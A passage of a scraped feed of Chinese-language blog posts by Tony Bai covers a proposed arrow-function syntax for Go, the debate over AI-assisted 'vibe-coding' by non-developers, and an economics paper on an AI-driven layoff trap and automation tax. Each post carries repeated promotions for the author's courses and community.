精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/07/aws-guru-slams-go-concurrency-as-a-joke-vs-jvm/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/aws-guru-slams-go-concurrency-as-a-joke-vs-jvm-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/07/aws-guru-slams-go-concurrency-as-a-joke-vs-jvm\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/07/aws-guru-slams-go-concurrency-as-a-joke-vs-jvm\"\u003ehttps://tonybai.com/2026/05/07/aws-guru-slams-go-concurrency-as-a-joke-vs-jvm\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去十年，如果要在后端技术圈选出一个“金字招牌”，那无疑是 \u003cstrong\u003eGo 语言的并发\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e凭借其极简的 go 关键字和优雅的 channel，Go 将并发编程的门槛从“博士级”拉到了“入门级”。在云原生和微服务的浪潮中，Go 几乎就是“高并发”的代名词。\u003c/p\u003e","title":"AWS 大神发文炮轰：Go 的并发就是个“笑话”，JVM 的方案要更优越"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/06/robert-griesemer-on-go-arrow-functions\n大家好，我是Tony Bai。\n在 Go 语言的演进史上，很少有一个 Issue 能像 #21498 这样，跨越 9 年时光，累积近千条评论，却依然让官方核心团队如履薄冰。\n这个 Issue 的目标很单纯：为 Go 提供一种更简洁的匿名函数语法（Short Function Literals）。或者用大白话说，大家想要一个像 JavaScript 或 Rust 那样的“箭头函数”。\n每当一个 Gopher 在代码里写下：\nslices.SortFunc(users, func(a, b User) int { return cmp.Compare(a.Age, b.Age) }) 他大概率会在心里暗骂一句：“这代码真够笨重的。”\n然而，Go 团队对此的回应一直是：“我们不想要魔法，我们只想要清晰。” 这种坚持让社区陷入了长达数年的僵局。\n但就在最近，这场僵局似乎正在被化解。\nGo 语言之父之一的Robert Griesemer 亲自下场发表了一段重量级评论。他没有给出一个试图满足所有人的复杂方案，而是抛出了一个充满工程智慧的诠释：\n“也许试图为任何函数解决这个语法问题是误导性的。我们应该只为那些本来就很短的函数提供支持。”\n今天，我们就来看看 Robert 最新诠释中的这个“只解决 90% 问题”的箭头函数，到底长什么样？应该如何用？\n底层觉醒：放弃对“全能语法”的执念 Robert Griesemer 的这段话，实际上是对过去 9 年社区争论的一次“终极复盘”。\n在这 9 年里，无数天才开发者试图设计出一种“完美”的缩写语法：有的想省掉括号，有的想省掉类型声明，有的甚至想通过 $1, $2 这样的占位符来彻底消灭参数列表。\n但这些方案无一例外都让 Go 编译器头疼，更让代码的可读性变得支离破碎。\nRobert 意识到，真正的问题不在于匿名函数太长，而在于我们试图让“箭头函数”承载它本不该承载的重量。\n如果一个匿名函数里包含了 if 逻辑、for 循环、甚至是一个 switch 分支，那么它本质上就是一个多行逻辑块。对于这种逻辑，写出完整的 func() 语法，带上明确的参数名和结果类型，不仅不是负担，反而是对读者的仁慈。\n于是，Robert 划定了一条冷酷的边界线：短函数语法，只服务于单表达式或单语句。\n蓝图拆解：Robert 亲自执笔的语法模型 在 Robert 的设想中，Go 的短函数（箭头函数）应该由两个核心部分组成。\n第一部分：针对“有返回值”的场景（单表达式） 这是高阶函数（如 Map、Filter、Sort）最常用的场景。Robert 提议采用 (args) -\u0026gt; expr 的符号：\nShortFunctionLit = “(” [ IdentifierList ] “)” “-\u0026gt;” ( Expression | “(” ExpressionList “)” ) .\n这意味着你可以写出如下的代码：\n() -\u0026gt; 42 // 无参数，返回常数 (x) -\u0026gt; math.Sin(x) // 单参数，返回计算结果 (x, y) -\u0026gt; x \u0026lt; y // 多参数，返回布尔值 (x, y) -\u0026gt; (x + y, x * y) // 多返回值（需括号包裹） 这里的精髓在于两点：\n彻底消灭 return 关键字：如果右侧是一个表达式，结果会自动返回。 极简的类型推断：由于它是作为参数传递给某个已知签名的函数（赋值上下文），编译器可以 100% 确定 x 和 y 的类型。你不再需要写 (a int, b int) int 这种啰嗦的废话。 第二部分：针对“无返回值”的场景（单语句） 除了返回值，还有一种场景是“简单回调”：执行一个动作，但不返回结果。\n为了严格区分这两种场景，Robert 引入了一个极其精妙的设计：利用大括号 {} 来作为“不返回结果”的视觉信号。\nShortFunctionLit = … | “{” SimpleStmt “}” ) .\n例子如下：\n() -\u0026gt; { /* do nothing */ } (x) -\u0026gt; { fmt.Printf(\u0026#34;log: %v\\n\u0026#34;, x) } // 执行打印，无返回 (x) -\u0026gt; { ch \u0026lt;- x } // 往通道发数据，无返回 (p) -\u0026gt; { (*p)++ } // 修改指针值，无返回 Robert 的设计逻辑非常清晰：\n没有 {}：必须返回一个值（表达式）。 有 {}：必须不返回值（语句）。 这个视觉区分，让任何一个读者在扫过代码的一瞬间，就能理解这个匿名函数的副作用。\n架构师的必修课：为什么“只解决 90%”才是最佳答案？ Robert 在评论中提到：\n“这能解决 90% 的常见案例，就像短变量声明（:=）一样。”\n这正是这篇文章最值得我们升维思考的地方。\n一个平庸的语言设计者，会试图通过复杂的规则去覆盖 100% 的场景，最终让语言变得像 C++ 一样臃肿。而一个顶级的语言设计者（如 Robert），懂得利用**“帕累托法则（二八定律）”**。\n:= 并不完美，它在某些特定的作用域重叠情况下会引发困惑。但它解决了 90% 的声明问题，让 Go 代码变得极其清爽。\n同样，Robert 提出的这个“箭头函数”蓝图：\n它不能写多行逻辑？ 没关系，剩下的 10% 复杂场景，写 func() 更有助于维护。 它不能省掉参数括号？ 没关系，强制带上 () 可以避免解析歧义，保持 Go 一贯的“明确”风格。 这种“克制”的艺术，正是 Go 语言在云原生时代能够取得成功的重要原因之一。* 它不追求在每一行代码上都胜过别人，它追求的是在大规模协作、在百万行代码库的维护上，保持最低的认知负荷。\n未来的模样：现代化的代码重构 Robert 在文章末尾甚至已经想好了如何推广这个特性：\n“如果我们引入了这个短格式，我们可以一键使用现代工具（modernizer）将现有的所有旧代码重写。”\n想象一下，当你把你的项目升级到未来的 Go 版本，运行一下格式化命令。原本满屏的：\nusers.Map(func(u User) string { return u.Name }) 会瞬间收缩为：\nusers.Map((u) -\u0026gt; u.Name) 这既是字符的缩减，更是一场视觉的解放。\n小结：在万变中，寻找最地道的“Go 味儿” 看完 Robert Griesemer 的这份亲述，你是否感受到了一种跨越时空的工程美学？\n箭头函数在其他语言里早就不是新闻了。但 Go 团队为了把它设计得“更地道、更不容易出错、更符合长期维护利益”，足足纠结了 9 年。\n这种对语法的敬畏，才是我们作为开发者真正应该学习的财富。最好的技术方案，往往不是那个功能最全的，而是那个能以最小的代价，解决最普遍痛点的。\n只解决 90% 的问题，剩下的 10% 留给严谨与克制。\n这，就是 Go 语言的“中庸之道”，也是它最强大的地方。\n今日互动探讨：\n你认同 Robert 这种“只做单行缩写”的底线吗？你觉得在 Go 中加入 -\u0026gt; 符号，会破坏它原有的朴素感吗？\n欢迎在评论区分享你的深度见解！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/06/robert-griesemer-on-go-arrow-functions/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/robert-griesemer-on-go-arrow-functions-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/06/robert-griesemer-on-go-arrow-functions\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/06/robert-griesemer-on-go-arrow-functions\"\u003ehttps://tonybai.com/2026/05/06/robert-griesemer-on-go-arrow-functions\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的演进史上，很少有一个 Issue 能像 \u003ca href=\"https://github.com/golang/go/issues/21498\"\u003e#21498\u003c/a\u003e 这样，跨越 9 年时光，累积近千条评论，却依然让官方核心团队如履薄冰。\u003c/p\u003e\n\u003cp\u003e这个 Issue 的目标很单纯：\u003cstrong\u003e为 Go 提供一种更简洁的\u003ca href=\"https://tonybai.com/2025/06/03/lightweight-anonymous-func-syntax\"\u003e匿名函数语法（Short Function Literals）\u003c/a\u003e\u003c/strong\u003e。或者用大白话说，大家想要一个像 JavaScript 或 Rust 那样的“箭头函数”。\u003c/p\u003e","title":"Robert Griesemer 亲述：只解决 90% 问题的“箭头函数”该长什么样？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/05/ai-makes-everyone-a-developer-like-cameras-for-photographers\n大家好，我是Tony Bai。\n最近，在技术圈里流传着一个“非主流观点（Unpopular Opinion）”：\n“‘AI 让每个人都成了开发者’，这句话是真的。就像当年‘相机的发明，让每个人都成了摄影师’一样。”\n这句充满“内涵”的类比，在 Reddit、X 等社区引来了开发者的热议。它精准地戳中了所有专业开发者心中最深的隐忧：当 AI 将编程的门槛夷为平地，我们这些苦练了十几年“内功”的“老师傅”，还有存在的价值吗？\n就在前几天，r/webdev 论坛上，一篇名为《我刚围观了一个非开发者用 AI Vibe-Coding 的全过程……兄弟们，我们稳了》的帖子，用一个极其生动、甚至有些滑稽的真实案例，为这个“灵魂拷问”给出了一个参考答案。\n今天，我们就来复盘这场关于“技术平权”与“专业主义”的大讨论，看看在 AI 掀起的这场“全民编程”狂欢之下，到底藏着怎样的泡沫、陷阱与机遇。\n一个非开发者的“玄学 Debug”之旅 故事的开端，来自一位名叫 eowenith 的开发者。他讲述了自己围观一位非技术背景的朋友，如何使用 Claude Code 构建一个应用的“奇葩”经历。\n这位朋友对编程一窍不通，她的操作方式，被社区戏称为 “Vibe-Coding（氛围编码）”：\n脑子里有一个模糊的想法。 用大白话告诉 AI：“给我做一个XX网站。” AI 生成了一堆代码，她看不懂，直接运行。 网站崩溃了。 她把整个屏幕的截图发给 AI，然后配上一句：“这看起来不对劲。” AI 开始猜测问题，生成新的代码，然后再次崩溃…… eowenith 在帖子中写道：\n“我眼睁睁地看着 Anthropic 的账单邮件一封封地发过来，她花了几个小时和几十次 Prompt，最终搞出来的东西，我可能用一两个 Prompt 就能做得更好。”\n“最后，她甚至还嘲笑我，说我的 Claude Code 总结页面上的‘已用点数’和‘消息数’太少了，像个业余爱好者。”\n这个案例，让评论区彻底炸了锅。\n一位开发者一针见血地指出：\n“那个‘嘲笑你点数用得少’的部分，真的把我逗笑了。低效地烧钱，居然成了一种炫耀资本。”\n另一位开发者则用更专业的视角剖析了这种“Vibe-Coding”的致命缺陷：\n“一个没有底层知识的人，只会不停地 Prompt。AI 为了解决表层问题，会不断地创造‘权宜之计’，绕过那些真正核心的架构缺陷。最终，这些‘权宜之计’会互相叠加，让系统变得比一开始还要烂。”\n这种靠“直觉”和“感觉”驱动的开发模式，正在批量制造着新时代的“高科技屎山”。\n“Token 猪”与“认知卸载” 在这场大讨论中，几个极其精辟的新概念应运而生，完美地概括了 AI 时代的行业乱象。\n概念一：Token 猪（Token Pig）\n这个词用来形容那些低效、懒惰、疯狂消耗 Token 的 AI 使用者。\n他们把 AI 当作一个无限的“许愿池”，拒绝进行任何有价值的思考，把最简单的任务，也用最昂贵的方式外包给大模型。\n概念二：认知卸载（Cognitive Offloading）\n一位开发者表达了一种更深层次的担忧：\n“AI 确实很有用，但我对‘认知卸载’的长期影响感到担忧。我努力确保自己能理解 AI 做的每一件事，并花时间去搞懂那些看起来不太对劲的地方。”\n当我们习惯于让 AI 为我们思考，我们的大脑就失去了构建深度知识模型（Mental Models）的机会。我们从“司机”变成了“乘客”。长此以往，我们不仅会失去对代码的掌控力，更会失去独立解决复杂问题的能力。\n就像评论区里那个极其扎心的比喻：\n“当手机出现后，一种新的脑损伤出现了——我们记不住电话号码了。”\n当工具抹平了门槛 回到最初的那个“摄影师”比喻。\n一位用户分享了她丈夫的真实经历：\n“我的丈夫曾经是一名职业摄影师。当数码相机的浪潮到来，‘让每个人都成了摄影师’时，他被迫离开了这个行业。因为客户们开始觉得，他们不应该再为一个‘按一下快门’的动作，支付高昂的费用。”\n这几乎是所有专业开发者内心最深的恐惧。\n但另一位用户也提出了一个类似的观点：\n“我用我的 iPhone，就能拍出比 30 年前职业摄影师更好的照片。99.9999% 的照片都是由我和其他非专业人士拍摄的。所以，这个比喻或许恰恰证明了：我们真的不再需要那么多的‘职业开发者’了。”\n这场争论，最终指向了一个更本质的问题：当工具的门槛被无限降低，我们作为“专业人士”的价值，到底还剩下什么？\n从“手艺”到“品味”的跃迁 在这场看似无解的“生存危机”大讨论中，我们依然能找到一条属于高级架构师的、清晰的破局之路。\n第一条：AI 抹平了“技法”，却放大了“品味” 一位开发者的评论获得了大量高赞：\n“工具降低了门槛，但品味（Taste）和基本功（Fundamentals），依然是区分‘能跑的代码’和‘好的代码’的唯一标准。就像相机让拍照变容易了，但没让拍出好照片变容易。”\nAI 可以帮你写出符合语法规范的代码，但它无法替你做出架构决策。\n它不知道你的业务在未来半年会如何演进。 它不理解高并发场景下，一次锁竞争的代价有多大。 它更无法在“开发效率”与“长期可维护性”之间，做出最符合当下团队资源的权衡。 这些，就是“品味”。\n第二条：从“执行者”到“定义者” 另外一位开发者的观点同样深刻：\n“相机没有让每个人都成为摄影师，它只是降低了门槛。AI 也一样，它不会让每个人都成为开发者。但它会将价值，从‘编写代码’，转移到‘知道该构建什么，以及如何塑造产出’上。”\n当 AI 能够完美地执行指令时，**“下达正确的指令”**就成了最稀缺的能力。\n我们作为资深开发者的核心价值，正在从一个“手艺精湛的工匠”，转变为一个“拥有上帝视角的系统设计师”。\n第三条：别在工具层内卷，向上走，到“思想层”去 整场讨论中，最让我感到共鸣的，是下面的一段话：\n“我真的超爱写优雅、干净、极简的代码（这正在迅速成为一项无用的技能）。但归根结底，我一直都是一个‘想法的建造者（Builder of Ideas）’。”\n“我们的超能力，不是写代码的能力，而是把一个模糊的想法，变成一个真实的产品、系统、服务的能力。社会需要我们，是因为这个。代码，只是我们用来交付这个概念的工具。”\n小结：别担心，你的价值远超你写的代码 回到最初的那个比喻：“AI 让每个人都成了开发者”，就像“相机让每个人都成了摄影师”。\n是的，相机让记录生活变得轻而易举，但它并没有消灭那些能够捕捉光影、构图、和决定性瞬间的艺术大师。\n同样，AI 让实现功能变得前所未有的简单，但它也永远无法取代那些能够洞察需求、设计架构、并对系统最终质量负责的软件架构师。\nAI 拿走的，只是我们手中的“体力活”。\n而留给我们，并被无限放大的，是我们作为工程师最宝贵的东西：经验、品味、判断力，以及将混乱的世界，构建成优雅系统的能力。\n不要再为“写代码”这件事本身感到焦虑了。\n向上看，去思考，去设计。\n因为在那片 AI 无法触及的高地上，才是你真正的价值所在。\n资料链接：\nhttps://x.com/Samaytwt/status/2047315095773216780 https://www.reddit.com/r/webdev/comments/1stjfo4/i_just_watched_a_nondev_vibecode_something_were/ 今日互动探讨：\n在 AI 编程的浪潮中，你是否也曾有过“被外行指导内行”的憋屈经历？你认为一个专业开发者，在 AI 时代最不可被替代的核心竞争力是什么？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/05/ai-makes-everyone-a-developer-like-cameras-for-photographers/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-makes-everyone-a-developer-like-cameras-for-photographers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/05/ai-makes-everyone-a-developer-like-cameras-for-photographers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/05/ai-makes-everyone-a-developer-like-cameras-for-photographers\"\u003ehttps://tonybai.com/2026/05/05/ai-makes-everyone-a-developer-like-cameras-for-photographers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e最近，在技术圈里流传着一个“非主流观点（Unpopular Opinion）”：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e“‘AI 让每个人都成了开发者’，这句话是真的。就像当年‘相机的发明，让每个人都成了摄影师’一样。”\u003c/strong\u003e\u003c/p\u003e","title":"“AI 让每个人都成了开发者”，就像“相机让每个人都成了摄影师”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/04/the-ai-layoff-trap\n大家好，我是Tony Bai。\n过去的一年，AI 带来的“裁员恐慌”几乎席卷了整个科技行业。\n今年 2 月，Jack Dorsey 的 Block 公司裁掉了近一半的员工，他直言不讳：“因为 AI 让很多岗位变得没必要了。”\nSalesforce 用 AI 替换了 4000 名客服，Cognition 的 AI 程序员 Devin 让一个资深工程师能干五个人的活。\n我们似乎正处在一场由 AI 引发的“效率革命”之中。管理者们为“降本增效”而欢呼，而我们这些打工人，则在瑟瑟发抖，担心自己的饭碗随时可能被一个看不见的 Agent 抢走。\n但如果我今天告诉你，这场看似“零和博弈”的裁员狂潮，最终的结局可能不是“资本家赢，打工人输”，而是**“所有人一起输”**呢？\n就在今年3月份，宾夕法尼亚大学和波士顿大学的两位学者，发布了一篇极其硬核、甚至有些惊悚的经济学论文——《The AI Layoff Trap》（AI 裁员陷阱）。\n这篇论文用极其严密的数学模型，推演出一个令人脊背发凉的结论：\n在充分竞争的市场中，所有理性的公司都会陷入一场疯狂的“自动化军备竞赛”。它们会不断地用 AI 裁掉员工，直到把整个市场的消费需求彻底摧毁，最终导致企业利润和员工收入双双崩溃。\n今天，我们就来拆解一下这篇堪称“末日预言”的论文，看看我们是如何一步步，心甘情愿地跳进这个“双输”陷阱的。\n囚徒困境：为什么明知是悬崖，所有公司依然在疯狂加速？ 论文的核心，建立在一个极其简单的经济学常识之上：被裁掉的员工，同时也是消费者。当他们失去收入，整个市场的购买力就会下降。\n既然这个道理连街边卖菜的大妈都懂，为什么那些拥有无数顶尖经济学家的巨头公司，还会朝着“零需求”的悬崖狂奔呢？\n答案，就在于一个经典的博弈论模型：囚徒困境。\n论文构建了一个简单的竞争市场模型：\n市场上有 N 家公司，互相竞争。 每家公司都可以选择用 AI 替换掉一部分人类员工，从而降低成本。 但每一次裁员，都会导致市场上总的消费需求下降一点点。 现在，让我们站在其中一家公司 CEO 的视角来做决策：\n场景一：如果其他公司都选择不裁员\n这时，如果我选择裁员，我能独享 AI 带来的全部成本降低（利润增加），而裁员导致的市场需求下降，则是由所有 N 家公司共同分摊的。\n对我来说，裁员是绝对的最优策略。\n场景二：如果其他公司都在疯狂裁员\n这时，市场的总需求已经在萎缩了。如果我选择不裁员，我不仅要和他们一起承受市场萎缩的痛苦，还无法享受到 AI 带来的成本优势，我的市场份额会被迅速蚕食。\n为了活下去，我唯一的选择就是：比他们裁得更狠。\n看懂了吗？\n无论竞争对手怎么做，对我自己来说，“最大化自动化（裁员）”永远是我的最优解（严格优势策略）。\n而当市场上的每一家公司都这么想、都这么做的时候，整个系统就陷入了一场无法回头的“死亡螺旋”。下面这张图通过三组二维图，直观地展示了随着市场竞争者数量（Number of firms N）的增加，“过度自动化”的阴影面积（代表双输的程度）是如何变得越来越大、越来越黑的。\nThe over-automation wedge 每家公司都做出了对自己最理性的决策，但最终却导致了一个对集体而言最坏的结果。 这就是“AI 裁员陷阱”的本质。\n“更好”的 AI，更快的毁灭：“红色皇后效应” 有人可能会乐观地认为：“没关系，只要 AI 的生产力足够高，它创造出的新财富，总能填补被裁员工的消费窟窿。”\n但这篇论文给出了一个更令人绝望的推论：“更好”的 AI，不仅不会缓解这个问题，反而会加速毁灭的进程。\n因为一个生产力更高的 AI，会给率先采用它的公司带来更大的“市场份额增益”的幻觉。这会进一步刺激所有公司，更疯狂地投入到这场军备竞赛中。\n这就像《爱丽丝梦游仙境》里的“红色皇后效应”：你必须用尽全力奔跑，才能勉强留在原地。\n最终，在所有人（包括 AI）都跑得气喘吁吁的均衡状态下，没有任何一家公司真正获得了额外的市场份额，整个系统只是以更快的速度，冲向了那个“零需求”的悬崖。\n失灵的“解药”：为什么 UBI 和技能提升都救不了我们？ 面对这个残酷的困境，社会上流传着几种看似美好的“解药”。但这篇论文用数学模型，一一戳破了它们的虚幻。\n解药一：全民基本收入（UBI）或提高资本利得税 结论：完全无效。\n因为 UBI 和资本税，作用的是企业的“利润水平”，而不是那个驱动裁员的“边际决策”。\n只要用 AI 替换一个员工的成本，依然低于这个员工的工资，那么无论你给这家公司发多少补贴、或者收多少税，它裁员的动机都不会改变。\n解药二：员工技能提升（Upskilling）或员工持股（ESOP） 结论：部分有效，但无法根治。\n让被裁的员工通过再培训，找到收入更高的工作，或者让他们持有公司股票，分享自动化带来的利润，确实能够部分地“回收”损失的消费需求。\n但这篇论文指出，这个“回收”过程，永远无法 100% 抵消最初的损失。因为信息和资本的流动总有摩擦，只要存在一点点的“需求外溢（Demand Externality）”，那个驱使大家走向悬崖的魔鬼，就依然存在。\n唯一的“刹车”：痛苦但必要的“自动化税” 在排除了所有看似美好的“市场化”解决方案后，论文最终指向了一个极其古典、也极其具有争议的“终极武器”——庇古税（Pigouvian Tax）。\n这个概念由经济学家阿瑟·庇古在 1920 年提出，它的核心思想是：对产生负外部性的行为，直接征税。\n比如，一家工厂每排放一吨废气，对社会造成了 100 元的环境损失，那就对它征收 100 元的“排污税”。\n在这篇论文的模型里，这个“税”被具体化为**“自动化税（Automation Tax）”**。\n每当一家公司用 AI 替换掉一个人类岗位时，它就必须为这个“自动化行为”本身，支付一笔税。这笔税的金额，应该精确地等于这次裁员对整个社会造成的“消费需求损失”。\n只有这样，才能将那个被企业“外部化”的社会成本，重新“内化”回它自己的决策模型中，从而逼迫它在裁员时，三思而后行。\n当然，作者也承认，征收“自动化税”在现实中面临着巨大的挑战：如何精确计量？如何防止企业将生产转移到海外？\n但他们强调，这是在理论上，唯一能够从根源上踩下“裁员军备竞赛”刹车的政策工具。\n小结：我们正在创造一个怎样的未来？ 这篇论文，虽然是用经济学的语言写就，但它探讨的，却是我们每一个技术人都在亲身参与和塑造的未来。\n它像一面镜子，照出了我们在追求“技术最优解”时的认知盲区。\n我们痴迷于用 AI Agent 替换掉客服、用 AI Coder 替换掉初级程序员，我们为每一次“降本增效”的成功而欢呼。但我们很少去想，当这些被我们亲手“优化”掉的人，失去消费能力时，我们亲手构建的商业大厦，地基又在哪里？\n这篇论文的价值，不在于给出了一个完美的答案，而在于它提出了一个更高维度的问题：\n当“个体理性”与“集体理性”发生冲突时，我们作为系统的构建者，应该扮演怎样的角色？\n是继续蒙眼狂奔，加速这场“双输”的游戏？\n还是停下来，去思考如何从架构层面，引入那些能够平衡“效率”与“公平”的、更具人文关怀的“新规则”？\n这其实已经超出经济学问题范畴，更像是是一个深刻的**“架构伦理”**问题了。\n资料链接：https://arxiv.org/abs/2603.20617\n今日互动探讨：\n看完这篇论文的推演，你是否也对 AI 的未来感到一丝寒意？你认为“自动化税”是一个可行的方案，还是一个乌托邦式的幻想？\n欢迎在评论区分享你的看法！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/04/the-ai-layoff-trap/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/the-ai-layoff-trap-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/04/the-ai-layoff-trap\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/04/the-ai-layoff-trap\"\u003ehttps://tonybai.com/2026/05/04/the-ai-layoff-trap\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去的一年，AI 带来的“裁员恐慌”几乎席卷了整个科技行业。\u003c/p\u003e\n\u003cp\u003e今年 2 月，Jack Dorsey 的 Block 公司裁掉了近一半的员工，他直言不讳：“因为 AI 让很多岗位变得没必要了。”\u003c/p\u003e","title":"AI 正在把我们推向“双输”深渊：顶级论文揭示“AI 裁员陷阱”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/03/flask-creator-pi-author-on-ai-coding-the-cruel-truth\n大家好，我是Tony Bai。\n过去的一年，我们见证了 AI 工具从“玩具”到“神器”的进化。从 Copilot 到 Claude Code，再到OpenClaw和Hermes等，整个技术圈都沉浸在一种“效率无限提升”的乐观主义狂欢之中。\n但就在前几天，两位在开源世界里的大神——Flask 框架之父 Armin Ronacher 和 Pi (OpenClaw的agent runtime) 的创造者 Mario Zechner——进行了一场极其深刻、甚至有些“悲观”的对话。\n他们没有去鼓吹 AI 带来了多高的效率，反而用一种极其冷静的视角，对当下这场“AI 